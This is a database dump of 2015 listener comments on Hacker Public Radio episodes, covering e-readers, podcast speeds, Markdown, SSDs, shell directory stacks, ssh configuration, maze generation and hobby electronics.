(1232,1829,'2015-08-08 01:00:34','Jon Kulp ','good catch (PDFs)','you\'re totally right, I forgot to mention this. This is probably because I don\'t really like to read PDFs even on this, although they are certainly much better on the DX than on the smaller Kindles. I put a few scholarly article PDFs on there as well as a couple of musical scores, and they\'re not bad, but I think a tablet is better for PDFs. I seem to recall that there were two or three options for viewing the PDFs, including cutting off all the white space around the text, which would be a huge help except for most of the articles I read have a tiny footer across the very bottom that completely ruins this feature.','2017-09-09 07:41:27'),
(1233,1829,'2015-08-08 01:02:37','Jon Kulp ','Cervantes Reader','thanks for the heads up on this. I have not heard of the Cervantes reader but it looks great. Doesn\'t look like I can easily get one in the United States, though.','2017-09-09 07:41:27'),
(1234,1830,'2015-07-16 17:26:51','FiftyOneFifty','I thought this was about the dikes','Shoot, Ken, I thought this was going to be your long promised description of how the windmill and dike system worked.','2017-09-09 07:41:27'),
(1235,1830,'2015-08-11 21:01:34','Dave Morriss','Thanks for the insight','I always find it fascinating to discover how other parts of the world do the things they do. This was good.\r\n\r\nWe have a \"City Car\" scheme here in Edinburgh, but I\'m not sure if it\'s as sophisticated as the one you describe.\r\n\r\nMore please :-)','2017-09-09 07:41:27'),
(1236,1831,'2015-08-10 01:40:09','Jon Kulp ','1.7x','That\'s how fast, although if music is actually the focus of the show I\'ll listen at original speed. I do this for The Bugcast,  for example. Almost all other shows are 1.7x.','2017-09-09 07:41:27'),
(1237,1831,'2015-08-10 15:08:27','Kevin O\'Brien','1.7x works for me','I routinely change the speed on all of my podcasts to 1.7x. so far, it hasn\'t really changed my ability to absorb background music. I think you just get used it.','2017-09-09 07:41:27'),
(1238,1831,'2015-08-10 15:25:23','A Shadowy Figure','Thanks, now I have a starting point',' Thank you Jon, I very much find your contributions both entertaining and informative. \r\n(royalty free) Music really isn\'t generally what I\'d like to focus on, but rather some sort of ambiance for the background to add something to the entertainment value of the presentations. or even transitional segments that include a musical or some other form of non-vocal cue\'s between \"thoughts\"/ segments.\r\nIn essence, adding some \"color\" to the \"audio\" presentation. (think radiolab or This American Life, etc.)\r\nI personally feel, adding these sorts of elements may encourage casual (hit and run) listeners to \"tun in\" again not only for the educational content, but for entrainment as well. Thanks again Jon    ','2017-09-09 07:41:27'),
(1239,1831,'2015-08-17 18:42:04','Windigo','Normal - 1.5x','I\'ve started speeding up my [aud/pod]casts at work, and I keep it to 1.5x, although I\'ve heard there are some who go as far as 2x.','2017-09-09 07:41:27'),
(1240,1831,'2015-09-07 07:09:49','folky','It depends','It depends on the language and the recording quality.\r\nGermanspeaking podcast go between 1.5-2.0, swedishspeaking between 1.5 and 1.8 and english between 1.0 and 1.5 but mostly 1.3.\r\nMusicpodcasts always are going by 1.0.','2017-09-09 07:41:27'),
(1241,1832,'2015-08-11 08:01:01','0xf10e','thx, very useful','Nice episode, many little things I didn\'t know about markdown.\r\n\r\nWhile I prefer ReStructuredText* over markdown (just like I prefer Mercurial/Python/Golang over Git/Perl/Java) I have to use it on Gitlab and Github.\r\nSo like I said, very useful.\r\n\r\n*) and rst2pdf works w/o LaTeX ;)\r\n\r\nPS: one of the words you were looking for is WYSIWYG - \"what you see is what you get\"','2017-09-09 07:41:27'),
(1242,1832,'2015-08-12 11:16:31','Jon Kulp','plus HTML as needed','Thanks I enjoyed this episode. One thing I would add is that whenever necessary you can freely add bits of HTML when the markdown syntax doesn\'t give you everything you need. ','2017-09-09 07:41:27'),
(1243,1832,'2015-08-17 18:04:55','Dave Morriss','Excellent episode','This was a great episode.\r\n\r\nI use Markdown and Pandoc myself for all my HPR episodes, though I have not yet moved away from AsciiDoc when writing my own project notes and similar.\r\n\r\nA while ago, I had been looking for the best lightweight markup format and was very happy to find Markdown. Then I found Pandoc and very much appreciated its extensions and huge range of features.\r\n\r\nThanks for your great overview.','2017-09-09 07:41:27'),
(1244,1834,'2015-09-03 13:16:37','Dave Morriss','Very useful','The password card idea is really good. I\'d never come across it before.\r\n\r\nI also didn\'t know about pwgen. I used to use a tool called apg at my work but that was in the days when an 8-character alphanumeric password was regarded as highly secure.\r\n\r\nThanks for the ambient sounds of birdsong in this episode by the way :-)','2017-09-09 07:41:27'),
(1245,1836,'2015-08-17 16:47:10','0xf10e','you should put up some VPS based blog ;)','Something where you push markdown or rst to a Git or mercurial repository.\r\nThis way it\'s harder to lose the content as you have it in at least two places.','2017-09-09 07:41:27'),
(1246,1836,'2015-08-18 23:45:07','NYbill','maybe some day...','Ah, I never thought of it that way. Even if its not a \'published blog\' at least you\'ll keep your notes safe. \r\n\r\n...this method would make for a good HPR episode, 0xf10e. ;)\r\n\r\nNo pressure. :P  ','2017-09-09 07:41:27'),
(1247,1837,'2015-08-18 08:30:46','0xf10e','correction on TRIM','Hey there, little correction on ATA TRIM: Fragmentation of files isn\'t the problem on SSDs but the SSD\'s controller needs to know which blocks it can reuse for leveling out the wear on the flash cells. As the SSD knows nothing about the FS it\'s storing data for it only can swap out blocks when they\'re overwritten at once.\r\nUNLESS of course when the OS tells the SSD \"I just freed those (logical) blocks, do whatever you want to them\". This why the SSDs controller can add those blocks to its free-list and reallocate the underlying flash-cell as soon as all logical blocks are freed - or remap the leftover logical blocks to free the rest of the flash-cell.\r\n\r\nOops, got a little long, didn\'t IR? ^^\"','2017-09-09 07:41:27'),
(1248,1837,'2015-08-21 16:44:46','noah','minimizing writes','I just want to take a quick moment to disagree with your recommendation to put swap and/or /var on a traditional spinning disk in order to limit writes to your SSD. Yes, doing so may ultimately increase the expected lifetime of the drive, but you\'re missing out on the greatest benefits of the SSD by doing so. SSDs are extremely fast for random access patterns, but for sequential operations (such as reading or writing large files) they aren\'t significantly faster than spinning disks. The parts of your system that perform the most random access operations are likely to be swap and /var. Speeding up swap is quite possibly the single best application for an SSD in a linux system.','2017-09-09 07:41:27'),
(1249,1837,'2015-09-15 13:47:10','2BFrank','Good points','Hi, \r\n\r\nthanks for the clarifications. @noah: I\'ve found different opinions on this, you make a good point. On the other hand, I have the impression that my system (6GB Ram) is swapping very little...\r\n\r\n@0xf10e: Right, it\'s wear levelling not fragmentation. Thx for clearing that up! ','2017-09-09 07:41:27'),
(1250,1838,'2015-08-19 10:28:33','Jon Kulp ','The Very Essence','Windigo, I salute you. In this episode you have captured the spirit, The Very Essence of HPR. Either that or you were just trying to see if you could make Dave Morriss twitch enough to send shockwaves across the ocean and feel them over here. All of us listening I\'m sure were shouting suggestions at our audio players but every last one of them would have drained the Awesome out of your alarm system. I see no bugs here...','2017-09-09 07:41:27'),
(1251,1838,'2015-08-19 16:20:57','Dave Morriss','I wouldn\'t have done it that way...','A fine, entertaining show, Sir!\r\n\r\nI didn\'t twitch excessively. I wasn\'t wild about the multiple \'sleep\' solution, but then neither were you.\r\n\r\nI thought the use of \'at\' was great.\r\n\r\nBack around 2005 I wrote a thing for my work (as a Sysadmin at a university) that allowed people to request migration of their mailboxes from a Unix mail system to Exchange by sending an email to a particular server. It slurped their mail out of one system and into the other using IMAP, but I didn\'t want there to be more than about 4 \'slurp\' jobs running at once because IMAP is not efficient.\r\n\r\nAnyway, long story short, I used \'at\' to schedule the work and to avoid bottlenecks. Supreme lash-up but it worked :-)\r\n\r\nYours was a perfect hacker story. Thanks!','2017-09-09 07:41:27'),
(1252,1838,'2015-08-20 15:46:17','NYbill','','I think the next logical step here is to enter the desired wakeup time into the Mini9 via clockwork. ','2017-09-09 07:41:27'),
(1253,1838,'2015-08-20 21:32:29','Beeza','Geekdom At Its Very Best','This episode shows precisely why non-geeks think that geeks are weird, while giving us geeks a nice warm glow.\r\n\r\nYes, you could buy an alarm clock for pennies, but where would the fun and sense of achievement be in that?\r\n\r\nI once found myself in a hotel room without my phone or any other kind of alarm. I HAD to be up early to make an important meeting. My solution was to create a simple MS Access application (it was a company laptop) to poll the system clock until it reached 0530, then just repeatedly trigger the \"beep\". It took all of 5 minutes to code and test.','2017-09-09 07:41:27'),
(1254,1841,'2015-08-31 21:34:46','Windigo','Great first episode!','I\'m always a fan of \"How I Found Linux\" episodes, but not many have taken me to Eastern Berlin first!\r\n\r\nA fascinating story, and hopefully the first of many episodes. Welcome to HPR! :)','2017-09-09 07:41:27'),
(1255,1841,'2015-09-02 13:49:27','folky','Thank you','Thank you for your kind welcome, Windigo!\r\nBut it wasn\'t Berlin I lived in, instead a small town not far from the Baltic Sea.\r\nI already have ideas for more episodes. We will see when I have the time and if I dare to record my own voice.','2017-09-09 07:41:27'),
(1256,1842,'2015-08-25 19:19:48','0xf10e','Re: Car Malware ','I\'m expecting more ransom ware \"bricking\" cars than causing accidents.\r\n1st week: \"windscreen wipers and air conditioning are disabled until you pay 5 bitcoins\"\r\n2nd week: \"speed is limited to 30mph until you pay 10 bitcoins\"\r\n3rd week: \"your car won\'t start until you pay 20 bitcoins\"\r\n\r\nWay less incentive for law enforcement to come after them when they go for people\'s money instead of everyones safety.','2017-09-09 07:41:27'),
(1257,1842,'2015-08-25 20:00:59','Mike Ray','We\'re doomed I tell eee','I think I\'ll just make myself a tin-foil hat and sit in the cupboard under the stairs.\r\n\r\nJust wait till they start cracking train and bus systems\r\n','2017-09-09 07:41:27'),
(1258,1843,'2015-08-27 06:40:23','Ken Fallon','Obsolete ?','Hi Dave,\r\n\r\nI could never get my head around these commands, and your show has clarified them for me.\r\n\r\nI have never been able to get a use case for this, that cannot be done using \r\n\r\ncd -\r\n\r\nThat jumps you back to the previous directory. Running it again brings you back to where you started.\r\n\r\nKen.','2017-09-09 07:41:27'),
(1259,1843,'2015-08-28 11:49:33','Dave Morriss','Maybe obsolescent or outmoded','As I said in the episode, I use these less than I used to, though I do still use them.\r\n\r\ncd , cd- and cd only let you move between a given directory, the previous one and $HOME, whereas pushd and popd let you manipulate a much larger collection of directories.\r\n\r\nIf I\'m connecting to a remote VPS or something I might do this:\r\n\r\npushd -n ~/Community_News/; pushd -n ~/Database/; pushd -n ~/IA/; pushd -n ~/content_cleaning/\r\ndirs -v\r\n 0  ~                                                                                                                                                                                                                                     \r\n 1  ~/content_cleaning/                                                                                                                                                                                                                   \r\n 2  ~/IA/                                                                                                                                                                                                                                 \r\n 3  ~/Database/                                                                                                                                                                                                                           \r\n 4  ~/Community_News/\r\n\r\n(note the \'~/\' at the start to make these absolute paths)\r\n\r\nThen I might hop around between directories with for example:\r\n\r\npushd +4\r\n\r\nEven this has been largely superseded by screen and tmux, I will admit.\r\n\r\nI\'m probably just old-fashioned :-)','2017-09-09 07:41:27'),
(1260,1844,'2015-08-29 15:48:14','Mike Ray','Quality','I loved this show, as I do all of John\'s shows.  The words \'this is John Kulp in Lafayette Lousiana\' is always a guarantee of quality.\r\n\r\nThe Marantz sound recorder sounds like a very nice piece of kit, and the sound quality was superb.  Pity about the Compact Flash media.\r\n\r\nAnd the harpsichord music break was very pleasant','2017-09-09 07:41:27'),
(1261,1844,'2015-08-30 20:32:15','Jon Kulp','Open Goldberg!','Thanks so much for the nice comments, Mike. Regarding the bumper music, I got it from the Open Goldberg Variations. Wonderful performance and completely free to download and share. ','2017-09-09 07:41:27'),
(1262,1844,'2015-08-31 18:26:00','Kevin O\'Brien','Agree with Mike','I agree with Mike, I also find Jon Kulp\'s shows very good.','2017-09-09 07:41:27'),
(1263,1846,'2015-09-01 18:09:20','Mike Ray','Uni-T Meters','Great episodes on the Uni-T multimeters.\r\n\r\nI have a UT60A, which has an opto-isolated serial port.  Sadly the software that comes with it is totally inaccessible to someone who, like me, can\'t see.\r\n\r\nSo I\'ve been writing my own to run on Linux.\r\n\r\nAdmittedly I started this a few years ago and did some initial work on reverse-engineering the protocol, which I can\'t find documented anywhere.\r\n\r\nHearing these episodes I was prodded into resurrecting the code and completing it.\r\n\r\nI have another multimeter which actually talks which is what stopped me completing the project once before.\r\n\r\nI think the UT60E, and possibly other models like your UT61E have similar ports and probably have serial ports also.\r\n\r\nIt\'s an impressive range of meters given the price.\r\n\r\nWhen I have something completed and talking I\'ll stick it on the web and do a show.\r\n\r\nIt would be good to get Blather to respond by making a measurement and reading it out aloud.\r\n\r\n','2017-09-09 07:41:27'),
(1264,1846,'2015-09-01 23:09:53','NYbill','','Thanks for the kind words, Mike. \r\n\r\nThat is just an episode I felt like doing because I felt I was a bit harsh on the UNI-T meters. You do get a lot of \"bang for your buck\" with those units.\r\n\r\nAnd yes, this one has the serial to opto-coupled connector as well. Who has a serial port these days anyway? \r\n\r\nI did see they sell a connector that will go to USB for sale.  But, as I said in the episode, I don\'t really feel a need for that feature anyway. However, I\'m sure some do. \r\n\r\nAnd yes, if you could get one of these meters going text to speech, that is an episode I\'d like to hear.\r\n\r\n','2017-09-09 07:41:27'),
(1265,1846,'2015-09-02 13:06:23','Mike Ray','Unit-T meters and serial ports','Having written the first comment I took another look online and found some stuff about the standard DMM chip used inside this meter and all (I think) of the Unit-T meters.\r\n\r\nThe only problem I think might be the serial port.  I am not sure yet whether it will work with either a PL2303 or FTDI USB to serial adaptor since the client software needs to raise either CTS or RTS, or both, to power the opto-couplers in the lead.\r\n\r\nIf Unit-T sell a USB to meter adaptor lead I\'d like to know where to get one.\r\n\r\nI particularly like the RMS feature, which you mentioned in the show is uncommon in such a cheap meter.\r\n\r\nI\'m jealous of your ability to add the timeout power modification though.  Could have done that when I could see but not now.\r\n\r\nForever leaving my meters switched on and flattening batteries.','2017-09-09 07:41:27'),
(1266,1846,'2015-09-02 20:14:30','NYbill','','Here is the USB connector, Mike. It says it will work with UT61?.  And I see UT60? is listed.  I think they are using that question mark like an asterisks.\r\n\r\nhttps://tinyurl.com/p5vm7nx\r\n\r\nIts cheap enough.  Maybe I\'ll throw one in the cart on the next Amazon order and see if I can get the UNIT software working with WINE. \r\n\r\n/me wonders if Ken or Dave is reading all this in a Community News. Lets be verbose. :P','2022-02-14 13:17:25'),
(1267,1846,'2015-09-03 17:21:45','Mike Ray','PL2303 USB-toRS232 and UT6?','I\'m happy to report that my software works with the meter plugged in to a PL2303 USB to serial adaptor.  So either the opto-couplers are being powered somehow else or I have the termio set-up right, or there is some other magic about the adaptor.  I didn\'t think these things supported the hardware handshaking pins.\r\n\r\n','2017-09-09 07:41:27'),
(1268,1846,'2015-09-07 13:44:10','davidWHITMAN','Damn You!','These good buys that NY Bill keeps bringing up are causing me to spend $.\r\nI bought 2 of the X-61 (and love them) and now this! \r\nActually need the ability to test capacitors. This can save a bundle! Just ask Flying Rich who lost a bundle.\r\ndw','2017-09-09 07:41:27'),
(1269,1847,'2015-09-17 12:38:11','Gabriel Evenfire','I always look forward to your shows...','I always look forward to your shows sigflup, because I know there will be some really unusual technical material in them.  This one is no exception.\r\n\r\nI\'ve never heard of emscripten before, but I\'m going to have to look into this.  It reminds me of a project a while back to compile C code using gcc to MIPS assembly that would run on a MIPS interpreter in Java.  (Someone billed it as a way to compile C programs that would never buffer overflow.  Not exactly accurate, but the buffer overflows would never corrupt the interpreter\'s stack.)','2017-09-09 07:41:27'),
(1270,1848,'2015-10-01 20:00:12','tom_len','automatize login from command line','Hi, I just discovered this tool, w3m, and I was wondering if it could be possible to access to a page that requires login and password. i need it to be done automatically from commandline (i.e I wouldnt be pressing any keys, it\'s a headless server). Do you know if that\'s possible? I would need to grab some text, but once logged in (the url once in remains the same: https://www.paket.de/pkp/appmanager/pkp/desktop?_nfpb=true&amp;_pageLabel=pkp_portal_page_start). Thanks in advance','2017-09-09 07:41:27'),
(1271,1848,'2015-10-27 19:34:17','Frank','','According to the man page, you can automatically  log into a proxy.  Perhaps you can bend that to your will.  See the \"-pauth\" argument in the man page.   I\'m skeptical that it will do what you wish, but it\'s worth a shot.','2017-09-09 07:41:27'),
(1272,1850,'2015-09-10 07:04:53','0xf10e','portable version of OpenSSH','Actually the portable version of OpenSSH is needed on every platform other than OpenBSD, not just not-unixoid ones ;)','2017-09-09 07:41:27'),
(1273,1850,'2015-09-17 12:21:29','Gabriel Evenfire','This could be a very fruitful series.','ssh is one of those swiss army knives that most people just use for the blade.  I\'m looking forward to seeing where this is going.  There\'s a lot of potential uses to cover.  Klaatu already added an episode talking about ssh_config and there are lots of useful shortcuts one can include from that alone.  So, I hope that more people (including you Ahuka) keep this going.\r\n\r\nAs always, thank you for a great show!','2017-09-09 07:41:27'),
(1274,1850,'2015-09-20 23:24:47','Kevin O\'Brien','Thank you','I\'m glad you enjoyed this introductory episode. I have recorded and uploaded several more, and I am not done. And Klaatu has also sent in an ssh show, so there is plenty to go around.','2017-09-09 07:41:27'),
(1275,1851,'2015-09-07 14:33:23','Mike Ray','Markdown show notes','Listended to Larry, Mo and Curly do the community news last night.  I was sitting with my finger hovering over the button as the clock round to 01:: AM so I could download it (I need to get out more).\r\n\r\nMarkdown show notes are a great idea.  I think Markdown is the best thing since sliced bread.  But, how do you propose to keep the look of show notes consistent?  I\'m thinking in particular of heading levels.\r\n\r\nI have to admit to being a bit anal when it comes to consistency.  Maybe others are not so much so.\r\n\r\nPS: Pushd, Popd and Dirs sounds like the latest boy band.\r\n','2017-09-09 07:41:27'),
(1276,1851,'2015-09-08 20:50:50','Dave Morriss','Markdown etc.','If HPR contributors took to the idea of submitting Markdown notes I think that would be a tremendous leap forward.\r\n\r\nI imagine there would still need to be a human intervention step, though a much simplified one and this could include things like a consistency check if it was thought necessary.\r\n\r\nI admire your dedication to the Community News. It was good to have three stooges on the episode this month rather than the usual two.\r\n\r\nPersonally, I\'d visualised Pushd, Popd and Dirs as a sort of (comedy) legal firm ...','2017-09-09 07:41:27'),
(1277,1851,'2015-09-08 21:23:26','NYbill','Electronics videos. ','I heard you say you discovered MJLorton on Youtube, Ken.  I\'ve seen most of his videos. Here are two more presenters I follow.  I\'ve seen them all.  There goes your next 2 months... :P\r\n\r\neevblog \r\nthesignalpath\r\n\r\nEDIT: Well, Akismet won\'t let me post the URL\'s. So, for anyone interested you\'ll just have to run the above two names through your favourite search engine. ','2017-09-09 07:41:27'),
(1278,1851,'2015-09-09 21:14:04','NYbill','','This is a test as I was having trouble posting links yesterday:\r\n\r\nhttps://www.eevblog.com/\r\n\r\nhttps://thesignalpath.com/blogs/\r\n\r\n','2022-02-14 13:17:25'),
(1279,1853,'2015-09-11 20:21:15','Aaronb483','great name for podcast','I\'m sure because of the name of your podcast, you probably got a lot of interest.','2017-09-09 07:41:27'),
(1280,1856,'2015-09-14 07:14:15','0xf10e','','Nice intro to `~/.ssh/config`, klaatu.\r\n\r\nThe \"protocol 2\" option is the default for quite some time - as in \"more than 10 yrs\". I think the latest version of OpenSSH doesn\'t even compile with support for version 1 by default. At least the sshd.\r\n\r\nShortening hostnames comes really handy in cases like \" web-frontend.fancy-example-corp.co.uk\".\r\nAnd there\'s also patterns matching like \r\n\r\n  Host *.fancy-example-corp.co.uk *.fancy-example-corp.com\r\n    Username joe-the-admin\r\n    identityfile ~/.ssh/work_rsa\r\n    \r\n\r\n  Host web-frontend1.fancy-example-corp.co.uk \r\n    Port 56278\r\n  \r\n  Host web-frontend1.fancy-example-corp.co.uk \r\n    Port 57427\r\n  \r\nThis way you can group hosts with common options easily.','2017-09-09 07:41:27'),
(1281,1856,'2015-09-15 15:07:16','b-yeezi','Thanks','Thanks for this show. I immediately added a config file for the couple of accounts that I commonly use. The only that I added for security is to change the permissions of the file to 600 or 644.  Keep up the great shows!','2017-09-09 07:41:27'),
(1282,1856,'2015-09-17 12:31:38','Gabriel Evenfire','Identity file','I\'m curious if, from your example, you are creating separate identity files for each host.  I imagine not, but it\'s a possibility I\'d never considered before.  I suppose it doesn\'t provide that much more security insofar as if someone can read one of your private keys from .ssh/ they can read all of them.  But it does make me think.\r\n\r\nFor my part I have this ruby script to run ssh w/ shorthands to the different identities and accounts in our internal machines.  This show is prompting me to do it the right way.  (especially insofar as it will work with scp, sftp, and scripts that use them)\r\n\r\nThanks for the show.  I\'m enjoying that people are starting break open the tools other than the \"blade\" in this ssh swiss army knife.','2017-09-09 07:41:27'),
(1283,1857,'2015-09-17 12:46:22','Gabriel Evenfire','A nice episode even for non-coffee people','I am not a coffee person.  I\'ve tried.  I can\'t seem to acquire the taste.  Definitely prefer teas.  But it was nevertheless entertaining to hear the process you go through.  I\'ve heard people talk (rave actually) about \"french presses\" before, but never had a clue as to why they were useful.  Hearing the process, I can start to imagine why.  Thanks for the show!','2017-09-09 07:41:27'),
(1284,1857,'2015-09-18 09:07:00','Dave Morriss','I enjoyed this a lot','I liked the relaxed style and the detailed content.\r\n\r\nI have not used my french presses (or cafeti&egrave;res as we prefer to call them) for a while, I prefer to use my moka pot and brew a large strong coffee every morning. After listening to this I had a craving for coffee, so made some with some with Kenya medium ground I had all but abandoned in the freezer. \r\n\r\nIt was great, but that\'s double my normal daily intake. Thanks!','2017-09-09 07:41:27'),
(1285,1857,'2015-09-24 18:31:17','Michael','You got my european mind.','Congrats, you got me for a (long) moment. Water at 200 degree - hu? After it finally dawned on me, I consulted an online converter to learn that 200&deg;F means 93.3&deg;C, which made a lot more sense to me... :-)\r\n\r\nOtherwise I second Gabriel above. Thanks for the show!','2017-09-09 07:41:27'),
(1286,1858,'2015-09-16 10:34:42','Jon Kulp ','Thank you! ','Another amazing tale of ingenuity! Well done, Bill, I loved this episode. Especially enjoyed the inadvertent detour into CAD and 3d printing. Of course the process of designing and printing 3d model is good for another episode... ','2017-09-09 07:41:27'),
(1287,1858,'2015-09-16 17:42:51','Mike Ray','Hacking at it\'s best','Great stuff.  Hacking at it\'s best.  Heard the names of some old friends too; 2N3904, 2N2222 :-)','2017-09-09 07:41:27'),
(1288,1858,'2015-09-16 21:44:19','NYbill','Thanks, Jon. ','Yea, that detour into 3D design and printing was interesting.  A friend from our LUG, Jason, bought a 3D printer about 8 months ago. Asphere was interested in it and asked lots of questions.  He then designed a part for one of his model rockets and asked if Jason could print it. \r\n\r\nBefore I knew it, Asphere bought his own 3D printer kit.\r\n\r\nWhile designing my parts I asked Asphere, \"Is this how it all starts?  I\'ll want my own 3D printer soon.\"  ;)\r\n\r\n','2017-09-09 07:41:27'),
(1289,1858,'2015-09-16 21:48:21','NYbill','Ha, thanks Mike. ','Yep, those old 2N\'s...\r\n\r\nOne of those, \"If it ain&rsquo;t broke, don\'t fix it.\" parts.  ','2017-09-09 07:41:27'),
(1290,1858,'2015-09-24 19:03:00','mirwi','Splitting hair...','I agree on \"old friends\" for the 2N3904 and 2N2222. However, I can\'t resist to add that these are, unlike the 2N7000, not MOSFETS but NPN BJTs (bipolar junction transistors). With the point being that BJTs need some amount of control current at the base in contrast to the virtually zero current at the gate of a MOSFET. Judging from the linked pictures, you have compensated for that by using a bigger capacitor to get to the desired turn on time.\r\nIn any case, thanks a lot for sharing this journey.\r\n\r\nRegards,\r\nMichael','2017-09-09 07:41:27'),
(1291,1858,'2015-09-25 09:59:46','NYbill','Transitors','Thanks Mirwi,\r\n\r\nI started with a MOSFET but it wasn\'t doing what I wanted. So, I experimented with the transistors I had on hand and chose the one that worked best for me. \r\n\r\nHowever, I can\'t remember if I went into detail about the part change between episode 1 and 2. \r\n\r\nThanks for the clarification. You know, an episode on the finer points of transistors might make a fine HPR. ;)\r\n\r\n\r\n\r\n','2017-09-09 07:41:27'),
(1292,1858,'2015-09-26 14:20:34','Mike Ray','Transistors','Sadly some of the \'old friend\' through-hole mounting transistors are beginning to disappear or at least be very hard to find.  And those that are still there are rising in price, I guess to reflect the smaller numbers in which they are made.  It\'s getting almost impossible to find the good old 2N3819 MOSFET I used to use to make oscillators, and even work-horses like the BC107/8/9 transistors are getting ridiculously expensive over here in the UK.\r\n\r\nAnybody remember scraping the paint off of the body of an OCR45 to make a photo-transistor?','2017-09-09 07:41:27'),
(1293,1859,'2015-09-17 13:43:39','Mike Ray','Welcome return','Great episode Gabriel and great to see you back with more bare-metal programming.\r\n\r\nLooking forward to episodes about sound rendering on the GPU','2017-09-09 07:41:27'),
(1294,1859,'2015-10-07 17:36:28','Eric','A better maze','Here is my code for creating a maze in Excel. It is actually fairly easy to make a true maze without any blocked sections. Basically, it grows out the walls from the edges. As long as they don\'t connect with other walls, you\'ll end up with a graph where every space can be visited from every other space.\r\nAskimet doesn\'t seem to like me posting code, so I\'ll just describe the algorithm.\r\n\r\n\r\nCreate a square of x rows and y columns. x and y must be odd numbers.\r\n\r\n\r\nPut a W in each cell of row 1, row x, column  1, and column x.\r\n\r\nFor each cell whose row and column is even, put an S.\r\n\r\nPut an O in all the other cells.\r\n\r\nW = Wall of maze\r\n\r\nS = Space in maze\r\n\r\nO = Open, not processed\r\n\r\nP = Possible next wall. We will determine these soon.\r\n\r\n\r\n\r\nAll cells whose row and column are even has to be a space. All cells whose row and column are odd will be a wall. I will call those pillars. The rest of the cells have an odd row and even column or even row and odd column. I will call them partitions. The algorithm will repeatedly pick another random partition to put between pillars in the maze.\r\n\r\nInitialized maze.\r\nWWWWWWWWWWW\r\nWSOSOSOSOSW\r\nWOOOOOOOOOW\r\nWSOSOSOSOSW\r\nWOOOOOOOOOW\r\nWSOSOSOSOSW\r\nWOOOOOOOOOW\r\nWSOSOSOSOSW\r\nWOOOOOOOOOW\r\nWSOSOSOSOSW\r\nWWWWWWWWWWW\r\n\r\nPossible finished maze.\r\nWWWWWWWWWWW\r\nWSSSSSSSWSW\r\nWWWWWWWSWSW\r\nWSWSWSSSWSW\r\nWSWSWWWSWSW\r\nWSSSSSSSWSW\r\nWSWWWSWSSSW\r\nWSWSSSWSWSW\r\nWSWSWWWSSSW\r\nWSWSWSSSWSW\r\nWWWWWWWWWWW\r\n\r\nAbove maze without the S spaces for clarity.\r\nWWWWWWWWWWW\r\nW       W W\r\nWWWWWWW W W\r\nW W W   W W\r\nW W WWW W W\r\nW       W W\r\nW WWW W   W\r\nW W   W W W\r\nW W WWW   W\r\nW W W   W W\r\nWWWWWWWWWWW\r\n\r\n\r\n\r\nNote that the pillar and partition cells will initially be marked as open (O). An open partition is an undetermined cell that will be either a wall (W) or space (S). An open pillar is a pillar that has is not next to a wall.\r\n\r\nWhile there are still open spaces (O), loop.\r\n  For each partition cell in the maze\r\n    if the partition cell has two walls next to it, mark it as a space (S)\r\n    if the partition cell has one wall (W) next to it, mark it as possible (P)\r\n    otherwise leave it as Open (O)\r\n  end the for loop\r\n  Pick a random P and change it to W\r\nEnd the loop.\r\n\r\n','2017-09-09 07:41:27'),
(1295,1859,'2015-10-14 02:18:40','Gabriel Evenfire','Maze generation','That\'s an interesting algorithm.  I can intuitively see why it works, but want to think of how I could prove it.  One could put a start and endpoint to the maze in that case.\r\n\r\nThe traversal algorithm through a maze generated like that would probably just be a right-hand-rule variant since the walls would be a single connected component.  The purely random generation that I mentioned in the podcast does not guarantee that of course meaning the right-hand rule could just lead the mouse in a circle forever.\r\n\r\nTwo ways that immediately spring to mind for ensuring the mouse always makes it to the cheese (barring running out of energy, eaten by cat, etc..) are:\r\n  * scan the maze and mark the connected components and ensure that the mouse and the cheese land in the same connected component\r\n  * scan the maze, mark the connected components and then take pairs of independent connected components and break walls between them to connect them until the maze is a single connected component.\r\n\r\nYour generation approach produces a much more sane and generally pleasing looking maze.  I\'m wondering if there\'s a good way to then take that and \"shake it up a little\" to allow for disconnected wall segments, and such while retaining much of the pleasingness.\r\n\r\nOf course there\'s another possibility:  add the notion of \"teleporters\" to the maze.  :)\r\n\r\nThanks for the insight and the algorithm.  That\'s what I like best about this little exercise:  there are so many variations that one can make on it.','2017-09-09 07:41:27'),
(1296,1862,'2015-09-28 19:46:35','Ken Fallon','I just enabled a load of these','Hi Geddes,\r\n\r\nI just re-enabled a load of these. I didn\'t bother before as I mostly did re-installs but then I realized that I could keep my config in my home dir so it would move with me. \r\n\r\nExcellent reading and a great idea.\r\n\r\nKen. ','2017-09-09 07:41:27'),
(1297,1862,'2015-10-16 18:54:42','Geddes','','Thanks Ken.\r\n\r\nGlad to know you found the article useful, and agree that it&rsquo;s a worthwhile idea. I&rsquo;ll be looking around for a follow up if I can find one.\r\n\r\nGeddes','2017-09-09 07:41:27'),
(1298,1863,'2015-09-23 16:25:05','Jon Kulp ','Probably still will not switch to KDE, but... ','I really enjoyed both of these episodes about tweaking KDE, although I will probably still not adopt the desktop myself. This also is a pretty good idea to read old magazine articles that are still of current interest as hpr episodes, with some intro up front, as long as it doesn\'t run afoul of any licensing. ','2017-09-09 07:41:27'),
(1299,1863,'2015-10-16 19:19:01','Geddes','Thanks for the feedback','Hi Jon\r\n\r\nFirst can I say thanks to you and Dave for the encouraging feedback from last month&rsquo;s community news episode. I&rsquo;m pleased that you both agreed it was a good idea to read a creative commons article. I&rsquo;ll take that as approval from the HPR community, I&rsquo;ll even take requests if anyone finds something of interest that I can convert to an audio show licensing permitting as you rightly point out. Hope it&rsquo;s not too long before I can post another show whether it&rsquo;s original content or not.\r\n\r\nThanks\r\nGeddes ','2017-09-09 07:41:27'),
(1300,1864,'2015-09-24 10:32:02','Jon Kulp ','Whoa remote scanning! ','Very cool, Dave! I\'ve got an old printer on the network too, but hooked up to my goodwill router via usb. Advantage of using a RasPi instead is the remote scanning. I never even knew that was possible at all, thought you always had to hook up with USB to scan stuff. Then again I never really thought about it that much. Usually I walk over to the University Library to do my scanning b/c they have awesome scanners for public use. Thanks for another great episode. ','2017-09-09 07:41:27'),
(1301,1864,'2015-09-27 10:51:01','Dave Morriss','Remote scanning, etc','Thanks Jon,\r\n\r\nI like that routers can run printers like this, but suspect the features are limited. I have plans to experiment with CUPS, perhaps configuring other queues for different sized stationery for example. I also have a very old DEC LN03 monochrome laser printer, circa 1987, which I\'d like to hook up if it still works. It needs a serial connection though, so that should be fun :-)\r\n\r\nThe scanning capability is good to have and has been used more than I would have expected. Quality is not particularly high, but it\'s good enough for most purposes.','2017-09-09 07:41:27'),
